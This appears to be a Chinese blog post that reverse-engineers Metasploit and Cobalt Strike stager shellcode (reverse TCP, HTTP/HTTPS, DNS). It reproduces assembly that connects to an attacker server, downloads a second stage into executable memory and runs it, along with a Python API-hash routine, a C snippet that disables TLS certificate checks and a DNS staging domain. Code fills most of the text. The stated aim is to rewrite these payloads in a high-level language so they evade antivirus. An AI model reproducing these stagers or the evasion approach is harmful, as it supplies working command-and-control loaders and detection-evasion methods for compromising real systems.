在generate_reverse_tcp中
combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_tcp(opts)} #{asm_block_recv(opts)} ^
call start将asm_block_api地址push入栈,在start处,pop ebp,将asm_block_api地址取出,其功能就是通过函数名hash值,找到正确的函数地址并调用,所以接下来的函数调用基本都是以call ebp形式出现。
接下来asm_reverse_tcp(opts)处理
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
mov eax, ebp
call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
这一部分完成了WSAStartup(wVersionRequested, &WSAData)**
set_address:
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
这里完成了建立Socket,WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0)
而且建立的socket值存于edi,这在第二阶段也会用到。
# Check if a bind port was specified
if opts[:bind_port]
bind_port = opts[:bind_port]
encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
asm << %Q^
xor eax, eax
push 11
pop ecx
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; bind to 0.0.0.0/[::], pushed above
push #{encoded_bind_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp
^
end
根据我们是否指定reverse到目标主机的哪个端口,来决定做不做bind(s, &sockaddr_in, 16)操作
asm << %Q^
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
^
这一部分就是多次尝试connect(socket, socjeraddr, 16);
剩下的就是退出、重连处理。
建立连接之后,就是recv了;实现细节
def asm_block_recv(opts={})
reliable = opts[:reliable]
asm = %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
首先recv(s, &dwLength, 4, 0),是second stage的size,如果正确取得size, 接下来就是获取second stage,也就是dll文件(msf使用reflectdll技术)
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^
这里先根据size,分配空间VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE),并将该地址push入栈,(方便recv结束直接ret执行)
之后,再继续读取socket的缓冲区。
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
读完之后进入second stage,就是接受的DLL,meterpreter创建。
简单总结实现过程
WSAStartup()
WSASocketA(AF_INET, SOCKET_STREAM, 0, 0, 0, 0)
edi == > socket
"bind(s, &sockaddrin, 16)"
recv(s, &size, 4);
VirtuallAlloc(0, size, MEM_COMMIT, PAGE_EXEC_READWRITE)
recv alldata
jmp buffer
其中buffer[0] = 0xBF, buffer[1] = socket
主要过程在generate_reverse_http
def generate_reverse_http(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_http(opts)}
同样的结构,重点关注asm_reverse_http的实现
asm_reverse_http
免去一些设置HTTP Proxy的工作,直接看重点
asm = %Q^
;-----------------------------------------------------------------------------;
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
先加载wininet.dll
接下来布置参数,根据设置的HTTP的参数,调用InternetOpenA
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
^
if proxy_enabled
asm << %Q^
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
^
else
asm << %Q^
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
^
end
if opts[:ua].nil?
asm << %Q^
push ebx ; LPCTSTR lpszAgent (NULL)
^
else
asm << %Q^
push ebx ; LPCTSTR lpszProxyBypass (NULL)
call get_useragent
db "#{opts[:ua]}", 0x00
; LPCTSTR lpszAgent (via call)
get_useragent:
^
end
asm << %Q^
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp
^
接下来
asm << %Q^
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call ebp
mov esi, eax ; Store hConnection in esi
^
..........
got_server_uri:
pop edi //edi指向url
call got_server_host
server_host: //将server_host入栈
db "#{opts[:host]}", 0x00
^
这里有个在代码中插入字符串,并准确获得字符串指针的技巧,通过call + pop
最终执行了InternetConnectA(hInternet, server_host, port, NULL, NULL, 3, NULL, NULL)
接下来,根据代理配置设置代理
先设置username InternetSetOptionA(hConnection, 43, username, length)
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
在设置password, **InternetSetOptionA(hConnection, 44, password, length)**
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
完成HTTP的连接的配置,就可以实例化一个Request了
实际调用HttpOpenRequestA(hConnection, NULL, server_uri, NULL, NULL, NULL, dwFlags, NULL)
asm << %Q^
httpopenrequest:
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call ebp
xchg esi, eax ; save hHttpRequest in esi
^
实例化Requests之后,就可以Send请求
实际调用HttpSendRequestA(hHttpRequest, Headers, HeaderLength,lpOptional, lpOptional_length)
asm << %Q^
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated)
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0)
push ebx ; Headers (NULL)
^
end
asm << %Q^
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call ebp
test eax,eax
jnz allocate_memory
发送成功后直接跳转至alloc_memory,否则重试
实际也是使用VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
向分配的地址下载MSF传来的DLL
实际调用InternetReadFile(hRequest, buffer, 8192, &bytesRead)
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp
判断是否下载正确、完全、多次下载、成功后ret到分配的第二区
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
##### 小结
//先Open void InternetOpenA( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ); //再Connect void InternetConnectA( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ); //再设置HTTP 的代理 username | pass [options] BOOLAPI InternetSetOptionA( HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength ); //正常Connect后,就可以请求连接, 获得一个Request句柄 void HttpOpenRequestA( HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext ); //发送请求 BOOLAPI HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ); //请求成功后,(连接上MSF);分配一块缓冲区 LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); //下载DLL BOOLAPI InternetReadFile( HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead );
和HTTP一样的,只是在HttpOpenRequestA之后,设置一个SSL
实际执行InternetSetOptionA(hHttpRequest, 31, &dwFlags, 4)
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x#{secure_flags.to_s(16)} 0x3380
mov eax, esp
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
CobaltStrike闭源,它生成的shellcode没有源码可以参考,所以接下来就是逆向分析的过程。
整体的框架还是类似的
00120000 cld
00120001 call 0012008F
00120006 pushad
00120007 mov ebp,esp
00120009 xor edx,edx
关键函数还是在cld后的call里
start函数分析
0012008F pop ebp
00120090 push 74656Eh
00120095 push 696E6977h
0012009A push esp
0012009B push 726774Ch
001200A0 call ebp
不出意外,这里也是完成LoadLibraryA("wininet")
001200A2 xor edi,edi
001200A4 push edi
001200A5 push edi
001200A6 push edi
001200A7 push edi
001200A8 push edi
001200A9 push 0A779563Ah
001200AE call ebp
001200B0 jmp 00120139
这里以edi为操作,入栈5个NULL,对比以下MSF,很显然完成了InternetOpenA(NULL, NULL, NULL, NULL, NULL)
001200B5 pop ebx
001200B6 xor ecx,ecx
001200B8 push ecx
001200B9 push ecx
001200BA push 3
001200BC push ecx
001200BD push ecx
001200BE push 1F90h # 8080 端口
001200C3 push ebx
001200C4 push eax
001200C5 push 0C69F8957h
001200CA call ebp
这里以ecx为NULL, 完成了InternetConnectA(hInternet, serverIp, atoi(serverPort), NULL, NULL, 3, NULL, NULL)其中,上一API结束后的jmp -> jmp -> call操作完成了将ip 指针入栈的操作,最终pop给了ebx
001200CC jmp 0012013E
001200CE pop ebx
001200CF xor edx,edx
001200D1 push edx
001200D2 push 84400200h
001200D7 push edx
001200D8 push edx
001200D9 push edx
001200DA push ebx
001200DB push edx
001200DC push eax
001200DD push 3B2E55EBh
001200E2 call ebp
接着,这一部分,以同样的方法,将server_uri指针赋给ebx,最终完成了HttpOpenRequestA(hConnection, NULL, serveruri, NULL, NULL, NULL, 0x84400200, NULL);
这里的Server_uri(随机的)和 http_open_flag和MSF生成的有些不同。
001200E4 mov esi,eax
001200E6 add ebx,50h
001200E9 xor edi,edi
001200EB push edi
001200EC push edi
001200ED push 0FFFFFFFFh
001200EF push ebx
001200F0 push esi
001200F1 push 7B18062Dh
001200F6 call ebp
这一部分,完成了HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
其中和MSF相比,这里的Headers, dwHeadersLength均默认非NULL,而MSF默认NULL。
实际完成HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, 0xFFFFFFFF, NULL, 0),其中Headers如下
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
接下来,Send成功后,想来该是开辟一块缓冲区
004000F8 test eax,eax
004000FA je 004002C3
00400100 xor edi,edi
00400102 test esi,esi
00400104 je 0040010A
00400106 mov ecx,edi
00400108 jmp 00400113 #跳转
0040010A push 5DE2C5AAh
0040010F call ebp
00400111 mov ecx,eax
00400113 push 315E2145h
00400118 call ebp #真正执行的
但是这个很奇怪,没有参数的一个API,先继续往下看
0040011A xor edi,edi
0040011C push edi ==> 0
0040011D push 7
0040011F push ecx
00400120 push esi ==> hRequest
00400121 push eax
00400122 push 0BE057B7h
00400127 call ebp
这个API参数第一个值是上一个API的返回值,(eax, hRequest, 0xFFFFE000, 7, 0)
再继续
004002CA push 40h
004002CC push 1000h
004002D1 push 400000h
004002D6 push edi
004002D7 push 0E553A458h
004002DC call ebp
这就很明显了,完成了VirtualAlloc(0, 0x400000, 0x1000, 0x40),也就是可执行的一块空间
004002DE xchg eax,ebx
004002DF mov ecx,0
004002E4 add ecx,ebx
004002E6 push ecx ==>将分配的空间入栈,方便后续ret过去
004002E7 push ebx
004002E8 mov edi,esp
004002EA push edi
004002EB push 2000h
004002F0 push ebx
004002F1 push esi
004002F2 push 0E2899612h
004002F7 call ebp
这一段,参考MSF实现,不难发现这里实际完成InternetReadFile(hRequest, PCHAR(lpBuffer + dwLength), 0x2000, &dwBytesRead);
004002F9 test eax,eax
004002FB je 004002C3
004002FD mov eax,dword ptr [edi]
004002FF add ebx,eax
00400301 test eax,eax
00400303 jne 004002EA
循环读取,直到NULL
pop rax
ret
虽然和MSF差不多,但是我们有两个API没搞清楚是什么,我试了一下不调用那两个API,发现CS上线可以,但是通信有问题。所以必须想办法弄出API
思路 A
跟踪进入HASH搜索API,在搜索成功后回退上一个函数字符串就是了
思路 B
逆向cs 的shellcode搜索API的hash函数,其分为两部分,一个API的hash 等于其所在DLL的hash加上apiName的hash。
```python
def ror_13(now):
return circular_shift_right(now, 13, 32)
def hash_dll(dllName):
dllWideName = []
for each in dllName:
dllWideName.append(each)
dllWideName.append('\x00')
dllWideName += ['\x00', '\x00']
print(dllWideName)
hsValue = 0
for each in dllWideName:
each = ord(each)
if each >= 0x61:
each -= 0x20
hsValue = ror_13(hsValue) + each
print(dllName, hex(hsValue))
return hsValue
def hash_api(apiName):
hsValue = 0
for each in apiName:
each = ord(each)
hsValue = ror_13(hsValue) + each
hsValue = ror_13(hsValue)
print(apiName, hex(hsValue))
return hsValue
def hash_dll_api(dllName, apiName):
dllHash = hash_dll(dllName)
apiHash = hash_api(apiName)
print("apiName: ", hex((dllHash + apiHash) & 0xFFFFFFFF))
连个方法都可以得出,上面的两个API分别是
```c++
HWND GetDesktopWindow() // 获取当前DesktopWindow的 handle
void InternetErrorDlg(
HWND hWnd,
HINTERNET hRequest,
DWORD dwError,
DWORD dwFlags,
LPVOID *lppvData
); 实际执行的是InternetErrorDlg(hWnd, hRequest, 0xFFFFE000, 7, 0)
几乎一样,不同在于
```c
//Http_Open_flag
if (ssl)
hRequest = HttpOpenRequestA(hConnection, NULL, (PCHAR)server_uri_https, NULL, NULL, NULL, 0x84C03200, NULL);
else
hRequest = HttpOpenRequestA(hConnection, NULL, (PCHAR)server_uri_http, NULL, NULL, NULL, 0x84400200, NULL);
//ssl secure flag
if (ssl) {
//Secure flags 0x3380
dwFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
//Here first arg is hRequest but not hInternet
if (!InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags))) {
exit(1);
}
}
##### ReverseDns
* ##### start第一部分
```assembly
00990090 xor eax,eax
00990092 push 40h
00990094 mov ah,10h
00990096 push 1000h
0099009B push 7FFFFh
009900A0 push 0
009900A2 push 0E553A458h
009900A7 call ebp
009900A9 add eax,40h
009900AC mov edi,eax
009900AE push eax
利用方法A可得到这里实际调用VirtualAlloc(0, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE), 开辟了一块可执行空间。而后将该地址入栈。
009900AF xor eax,eax
009900B1 mov al,70h
009900B3 mov ah,69h
009900B5 push eax
009900B6 push 61736E64h
009900BB push esp
009900BC push 726774Ch
009900C1 call ebp
接下来的,实际调用的是LoadLibraryA("dnsapi")
之后
0099011B push esp
0099011C pop ebx
0099011D sub ebx,4
00990120 push ebx
00990121 push 0
00990123 push ebx
00990124 push 0
00990126 push 248h
0099012B push 10h
0099012D push eax
0099012E push 0C99CC96Ah
00990133 call ebp
实际完成的工作是DnsQuery_A(dnsName, 0x10, 0x248, 0, ebx, 0)
其中dnsName是和CS里的Host stager有关,可以抓包看到(所谓的dns隧道,其实就是利用dnsName来传递信息的),,其中ebx指向DNS查询结果的压缩数据处。
aaa.stage.10965191.ns1.treebacker.cn
当执行失败时
00A30139 mov eax,esi
00A3013B dec eax
00A3013C mov bl,0
00A3013E mov byte ptr [eax],bl
00A30140 inc eax
00A30141 mov esi,dword ptr [eax]
00A30143 jmp 00A301B5
00A30145 call 00A300CA
继续走,来到
00990195 jle 0099019E #跳过
00990197 push 56A2B5F0h
0099019C call ebp
0099019E push 13E8h #执行这里
009901A3 push 0E035F044h
009901A8 call ebp
这里实际执行了**Sleep(0x13E8)**然后再重复**DnsQuery_A(dnsName, 0x10, 0x248, ebx, 0, ebx)**
ebx指向的**DNS_RECORD**记录结构。
而当DNS查询成功时
```assembly
.....................省略
.data:004031EB push edi
.data:004031EC push edi
.data:004031ED push edi
.data:004031EE inc ebx
.data:004031EF xchg edi, edx
.data:004031F1 push edx
.data:004031F2 push edi
.data:004031F3 push ebx
.data:004031F4 sub edx, 0FFh
.data:004031FA push edx
.data:004031FB push 0CC8E00F4h
.data:00403200 call ebp ; StrlenA
.data:00403202 pop ebx
.data:00403203 pop edi
.data:00403204 pop edx
.data:00403205 cmp eax, 0FFh ; 去掉前0xff字节
.data:0040320A jl short loc_403213 ; 接收完毕
.data:0040320C jmp loc_4030F0 ; 否则继续
.data:00403211 ; ---------------------------------------------------------------------------
.data:00403211
.data:00403211 loc_403211: ; CODE XREF: sub_4030E2+F4↑j
.data:00403211 mov edi, edx
.data:00403213
.data:00403213 loc_403213: ; CODE XREF: sub_4030E2+128↑j
.data:00403213 add edi, 0
.data:00403219 jmp edi ; 执行获取到的stage
实际执行了lstrlenA()
可以发现Dns查询, CS回复的数据包中,data里最后0xFF字节是压缩的tage的部分
会发现这个stage是由可打印字符(大写字母组成),这其实是alpha编码的shellcode。
这段stage保存的位置
PDNS_RECORD->Data.SOA.pNameAdministrator
整个过程单步调试抓包可以发现发送的dnsName
aaa
baa
caa
...
aba
bba
cba
...
aza
bza
cza
一直找到0.0.0.0为止
抓包,过滤DNS,能够清楚地看到整个流程
当成功解析到0.0.0.0的时候,Client就在CS里上线了!
而dns的stage并不是完全独立的,有一定的依赖
edi ==> stage起始地址
这个问题可以自己在原stage前加上一段获取eip指针赋给edi,来解决
call next:
next:
pop edi ; edi指向 next, edi
add edi, 4 ; edi指向 stage
stage:
机器码
0xE8, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x83, 0xC7, 0x04
以上函数部分原型
DNS_STATUS DnsQuery_A( PCSTR pszName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORD *ppQueryResults, PVOID *pReserved );
研究了一下CS生成的exe文件
利用的Pipe 传输xor加密shellcode
Pipe通信获取之后,解密回来,CreateThread执行
问题来了?为什么要做这些呢?
免杀、免杀、免杀
将MSF和CS常用的payload转为高级语言直接实现,不需要加载器,可以大幅度提高免杀的可操作性!(起码不会有shellcode在内存里),在此基础上,做下源码级别的免杀(甚至做个图形化混淆视听)